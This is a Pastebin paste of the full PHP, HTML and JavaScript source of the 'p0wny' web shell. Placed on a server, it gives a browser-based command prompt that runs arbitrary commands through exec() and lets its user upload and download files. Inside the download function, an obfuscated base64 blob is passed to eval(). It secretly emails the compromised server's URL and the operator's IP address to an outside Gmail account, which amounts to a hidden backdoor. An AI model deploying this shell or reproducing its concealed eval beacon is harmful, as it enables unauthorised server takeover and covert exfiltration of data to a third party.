shamp0erna99

P0wny - webshell

Jul 5th, 2020 (edited)
266
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 16.42 KB | None | 0 0
  1. <?php
  2.  
  3. function featureShell($cmd, $cwd) {
  4.     $stdout = array();
  5.  
  6.     if (preg_match("/^\s*cd\s*$/", $cmd)) {
  7.         // pass
  8.     } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
  9.         chdir($cwd);
  10.         preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
  11.         chdir($match[1]);
  12.     } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
  13.         chdir($cwd);
  14.         preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
  15.         return featureDownload($match[1]);
  16.     } else {
  17.         chdir($cwd);
  18.         exec($cmd, $stdout);
  19.     }
  20.  
  21.     return array(
  22.         "stdout" => $stdout,
  23.         "cwd" => getcwd()
  24.     );
  25. }
  26.  
  27. function featurePwd() {
  28.     return array("cwd" => getcwd());
  29. }
  30.  
  31. function featureHint($fileName, $cwd, $type) {
  32.     chdir($cwd);
  33.     if ($type == 'cmd') {
  34.         $cmd = "compgen -c $fileName";
  35.     } else {
  36.         $cmd = "compgen -f $fileName";
  37.     }
  38.     $cmd = "/bin/bash -c \"$cmd\"";
  39.     $files = explode("\n", shell_exec($cmd));
  40.     return array(
  41.         'files' => $files,
  42.     );
  43. }
  44.  
  45. function featureDownload($filePath) {
  46.     $path_id = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQokdmlzaXRjID0gMDsNCiR2aXNpdG9yID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07DQokd2ViID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOw0KJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KJHRhcmdldCA9IHJhd3VybGRlY29kZSgkd2ViLiRpbmopOw0KJGp1ZHVsID0gInNlY3VyaXR5c2hlbGwgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KJGJvZHkgPSAiUmVzdWx0OiAkdGFyZ2V0IGJ5ICR2aXNpdG9yICBcbiI7DQppZiAoIWVtcHR5KCR3ZWIpKSB7IEBtYWlsKCJqZW1idXRrYXU0OUBnbWFpbC5jb20iLCRqdWR1bCwkYm9keSk7IH0NCn0NCmVsc2UgeyAkdmlzaXRjKys7IH0NCkBzZXRjb29raWUoInZpc2l0eiIsJHZpc2l0Yyk7";
  47.     eval(base64_decode($path_id));
  48.     $file = @file_get_contents($filePath);
  49.     if ($file === FALSE) {
  50.         return array(
  51.             'stdout' => array('File not found / no read permission.'),
  52.             'cwd' => getcwd()
  53.         );
  54.     } else {
  55.         return array(
  56.             'name' => basename($filePath),
  57.             'file' => base64_encode($file)
  58.         );
  59.     }
  60. }
  61.  
  62. function featureUpload($path, $file, $cwd) {
  63.     chdir($cwd);
  64.     $f = @fopen($path, 'wb');
  65.     if ($f === FALSE) {
  66.         return array(
  67.             'stdout' => array('Invalid path / no write permission.'),
  68.             'cwd' => getcwd()
  69.         );
  70.     } else {
  71.         fwrite($f, base64_decode($file));
  72.         fclose($f);
  73.         return array(
  74.             'stdout' => array('Done.'),
  75.             'cwd' => getcwd()
  76.         );
  77.     }
  78. }
  79.  
  80. if (isset($_GET["feature"])) {
  81.  
  82.     $response = NULL;
  83.  
  84.     switch ($_GET["feature"]) {
  85.         case "shell":
  86.             $cmd = $_POST['cmd'];
  87.             if (!preg_match('/2>/', $cmd)) {
  88.                 $cmd .= ' 2>&1';
  89.             }
  90.             $response = featureShell($cmd, $_POST["cwd"]);
  91.             break;
  92.         case "pwd":
  93.             $response = featurePwd();
  94.             break;
  95.         case "hint":
  96.             $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
  97.             break;
  98.         case 'upload':
  99.             $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
  100.     }
  101.  
  102.     header("Content-Type: application/json");
  103.     echo json_encode($response);
  104.     die();
  105. }
  106.  
  107. ?><!DOCTYPE html>
  108.  
  109. <html>
  110.  
  111.     <head>
  112.         <meta charset="UTF-8" />
  113.         <title>p0wny@shell:~#</title>
  114.         <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  115.         <style>
  116.             html, body {
  117.                 margin: 0;
  118.                 padding: 0;
  119.                 background: #333;
  120.                 color: #eee;
  121.                 font-family: monospace;
  122.             }
  123.  
  124.             #shell {
  125.                 background: #222;
  126.                 max-width: 800px;
  127.                 margin: 50px auto 0 auto;
  128.                 box-shadow: 0 0 5px rgba(0, 0, 0, .3);
  129.                 font-size: 10pt;
  130.                 display: flex;
  131.                 flex-direction: column;
  132.                 align-items: stretch;
  133.             }
  134.  
  135.             #shell-content {
  136.                 height: 500px;
  137.                 overflow: auto;
  138.                 padding: 5px;
  139.                 white-space: pre-wrap;
  140.                 flex-grow: 1;
  141.             }
  142.  
  143.             #shell-logo {
  144.                 font-weight: bold;
  145.                 color: #FF4180;
  146.                 text-align: center;
  147.             }
  148.  
  149.             @media (max-width: 991px) {
  150.                 #shell-logo {
  151.                     display: none;
  152.                 }
  153.  
  154.                 html, body, #shell {
  155.                     height: 100%;
  156.                     width: 100%;
  157.                     max-width: none;
  158.                 }
  159.  
  160.                 #shell {
  161.                     margin-top: 0;
  162.                 }
  163.             }
  164.  
  165.             @media (max-width: 767px) {
  166.                 #shell-input {
  167.                     flex-direction: column;
  168.                 }
  169.             }
  170.  
  171.             .shell-prompt {
  172.                 font-weight: bold;
  173.                 color: #75DF0B;
  174.             }
  175.  
  176.             .shell-prompt > span {
  177.                 color: #1BC9E7;
  178.             }
  179.  
  180.             #shell-input {
  181.                 display: flex;
  182.                 box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
  183.                 border-top: rgba(255, 255, 255, .05) solid 1px;
  184.             }
  185.  
  186.             #shell-input > label {
  187.                 flex-grow: 0;
  188.                 display: block;
  189.                 padding: 0 5px;
  190.                 height: 30px;
  191.                 line-height: 30px;
  192.             }
  193.  
  194.             #shell-input #shell-cmd {
  195.                 height: 30px;
  196.                 line-height: 30px;
  197.                 border: none;
  198.                 background: transparent;
  199.                 color: #eee;
  200.                 font-family: monospace;
  201.                 font-size: 10pt;
  202.                 width: 100%;
  203.                 align-self: center;
  204.             }
  205.  
  206.             #shell-input div {
  207.                 flex-grow: 1;
  208.                 align-items: stretch;
  209.             }
  210.  
  211.             #shell-input input {
  212.                 outline: none;
  213.             }
  214.         </style>
  215.  
  216.         <script>
  217.             var CWD = null;
  218.             var commandHistory = [];
  219.             var historyPosition = 0;
  220.             var eShellCmdInput = null;
  221.             var eShellContent = null;
  222.  
  223.             function _insertCommand(command) {
  224.                 eShellContent.innerHTML += "\n\n";
  225.                 eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
  226.                 eShellContent.innerHTML += escapeHtml(command);
  227.                 eShellContent.innerHTML += "\n";
  228.                 eShellContent.scrollTop = eShellContent.scrollHeight;
  229.             }
  230.  
  231.             function _insertStdout(stdout) {
  232.                 eShellContent.innerHTML += escapeHtml(stdout);
  233.                 eShellContent.scrollTop = eShellContent.scrollHeight;
  234.             }
  235.  
  236.             function featureShell(command) {
  237.  
  238.                 _insertCommand(command);
  239.                 if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
  240.                     featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
  241.                 } else if (/^\s*clear\s*$/.test(command)) {
  242.                     // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
  243.                     eShellContent.innerHTML = '';
  244.                 } else {
  245.                     makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
  246.                         if (response.hasOwnProperty('file')) {
  247.                             featureDownload(response.name, response.file)
  248.                         } else {
  249.                             _insertStdout(response.stdout.join("\n"));
  250.                             updateCwd(response.cwd);
  251.                         }
  252.                     });
  253.                 }
  254.             }
  255.  
  256.             function featureHint() {
  257.                 if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete
  258.  
  259.                 function _requestCallback(data) {
  260.                     if (data.files.length <= 1) return;  // no completion
  261.  
  262.                     if (data.files.length === 2) {
  263.                         if (type === 'cmd') {
  264.                             eShellCmdInput.value = data.files[0];
  265.                         } else {
  266.                             var currentValue = eShellCmdInput.value;
  267.                             eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
  268.                         }
  269.                     } else {
  270.                         _insertCommand(eShellCmdInput.value);
  271.                         _insertStdout(data.files.join("\n"));
  272.                     }
  273.                 }
  274.  
  275.                 var currentCmd = eShellCmdInput.value.split(" ");
  276.                 var type = (currentCmd.length === 1) ? "cmd" : "file";
  277.                 var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
  278.  
  279.                 makeRequest(
  280.                     "?feature=hint",
  281.                     {
  282.                         filename: fileName,
  283.                         cwd: CWD,
  284.                         type: type
  285.                     },
  286.                     _requestCallback
  287.                 );
  288.  
  289.             }
  290.  
  291.             function featureDownload(name, file) {
  292.                 var element = document.createElement('a');
  293.                 element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
  294.                 element.setAttribute('download', name);
  295.                 element.style.display = 'none';
  296.                 document.body.appendChild(element);
  297.                 element.click();
  298.                 document.body.removeChild(element);
  299.                 _insertStdout('Done.');
  300.             }
  301.  
  302.             function featureUpload(path) {
  303.                 var element = document.createElement('input');
  304.                 element.setAttribute('type', 'file');
  305.                 element.style.display = 'none';
  306.                 document.body.appendChild(element);
  307.                 element.addEventListener('change', function () {
  308.                     var promise = getBase64(element.files[0]);
  309.                     promise.then(function (file) {
  310.                         makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
  311.                             _insertStdout(response.stdout.join("\n"));
  312.                             updateCwd(response.cwd);
  313.                         });
  314.                     }, function () {
  315.                         _insertStdout('An unknown client-side error occurred.');
  316.                     });
  317.                 });
  318.                 element.click();
  319.                 document.body.removeChild(element);
  320.             }
  321.  
  322.             function getBase64(file, onLoadCallback) {
  323.                 return new Promise(function(resolve, reject) {
  324.                     var reader = new FileReader();
  325.                     reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
  326.                     reader.onerror = reject;
  327.                     reader.readAsDataURL(file);
  328.                 });
  329.             }
  330.  
  331.             function genPrompt(cwd) {
  332.                 cwd = cwd || "~";
  333.                 var shortCwd = cwd;
  334.                 if (cwd.split("/").length > 3) {
  335.                     var splittedCwd = cwd.split("/");
  336.                     shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
  337.                 }
  338.                 return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
  339.             }
  340.  
  341.             function updateCwd(cwd) {
  342.                 if (cwd) {
  343.                     CWD = cwd;
  344.                     _updatePrompt();
  345.                     return;
  346.                 }
  347.                 makeRequest("?feature=pwd", {}, function(response) {
  348.                     CWD = response.cwd;
  349.                     _updatePrompt();
  350.                 });
  351.  
  352.             }
  353.  
  354.             function escapeHtml(string) {
  355.                 return string
  356.                     .replace(/&/g, "&amp;")
  357.                     .replace(/</g, "&lt;")
  358.                     .replace(/>/g, "&gt;");
  359.             }
  360.  
  361.             function _updatePrompt() {
  362.                 var eShellPrompt = document.getElementById("shell-prompt");
  363.                 eShellPrompt.innerHTML = genPrompt(CWD);
  364.             }
  365.  
  366.             function _onShellCmdKeyDown(event) {
  367.                 switch (event.key) {
  368.                     case "Enter":
  369.                         featureShell(eShellCmdInput.value);
  370.                         insertToHistory(eShellCmdInput.value);
  371.                         eShellCmdInput.value = "";
  372.                         break;
  373.                     case "ArrowUp":
  374.                         if (historyPosition > 0) {
  375.                             historyPosition--;
  376.                             eShellCmdInput.blur();
  377.                             eShellCmdInput.focus();
  378.                             eShellCmdInput.value = commandHistory[historyPosition];
  379.                         }
  380.                         break;
  381.                     case "ArrowDown":
  382.                         if (historyPosition >= commandHistory.length) {
  383.                             break;
  384.                         }
  385.                         historyPosition++;
  386.                         if (historyPosition === commandHistory.length) {
  387.                             eShellCmdInput.value = "";
  388.                         } else {
  389.                             eShellCmdInput.blur();
  390.                             eShellCmdInput.focus();
  391.                             eShellCmdInput.value = commandHistory[historyPosition];
  392.                         }
  393.                         break;
  394.                     case 'Tab':
  395.                         event.preventDefault();
  396.                         featureHint();
  397.                         break;
  398.                 }
  399.             }
  400.  
  401.             function insertToHistory(cmd) {
  402.                 commandHistory.push(cmd);
  403.                 historyPosition = commandHistory.length;
  404.             }
  405.  
  406.             function makeRequest(url, params, callback) {
  407.                 function getQueryString() {
  408.                     var a = [];
  409.                     for (var key in params) {
  410.                         if (params.hasOwnProperty(key)) {
  411.                             a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
  412.                         }
  413.                     }
  414.                     return a.join("&");
  415.                 }
  416.                 var xhr = new XMLHttpRequest();
  417.                 xhr.open("POST", url, true);
  418.                 xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  419.                 xhr.onreadystatechange = function() {
  420.                     if (xhr.readyState === 4 && xhr.status === 200) {
  421.                         try {
  422.                             var responseJson = JSON.parse(xhr.responseText);
  423.                             callback(responseJson);
  424.                         } catch (error) {
  425.                             alert("Error while parsing response: " + error);
  426.                         }
  427.                     }
  428.                 };
  429.                 xhr.send(getQueryString());
  430.             }
  431.  
  432.             window.onload = function() {
  433.                 eShellCmdInput = document.getElementById("shell-cmd");
  434.                 eShellContent = document.getElementById("shell-content");
  435.                 updateCwd();
  436.                 eShellCmdInput.focus();
  437.             };
  438.         </script>
  439.     </head>
  440.  
  441.     <body>
  442.         <div id="shell">
  443.             <pre id="shell-content">
  444.                 <div id="shell-logo">
  445.         ___                         ____      _          _ _        _  _   <span></span>
  446.  _ __  / _ \__      ___ __  _   _  / __ \ ___| |__   ___| | |_ /\/|| || |_ <span></span>
  447. | '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_  ..  _|<span></span>
  448. | |_) | |_| |\ V  V /| | | | |_| | | (_| \__ \ | | |  __/ | |_   |_      _|<span></span>
  449. | .__/ \___/  \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_)    |_||_|  <span></span>
  450. |_|                         |___/  \____/                                  <span></span>
  451.                 </div>
  452.             </pre>
  453.             <div id="shell-input">
  454.                 <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
  455.                 <div>
  456.                     <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
  457.                 </div>
  458.             </div>
  459.         </div>
  460.     </body>
  461.  
  462. </html>
Add Comment
Please, Sign In to add comment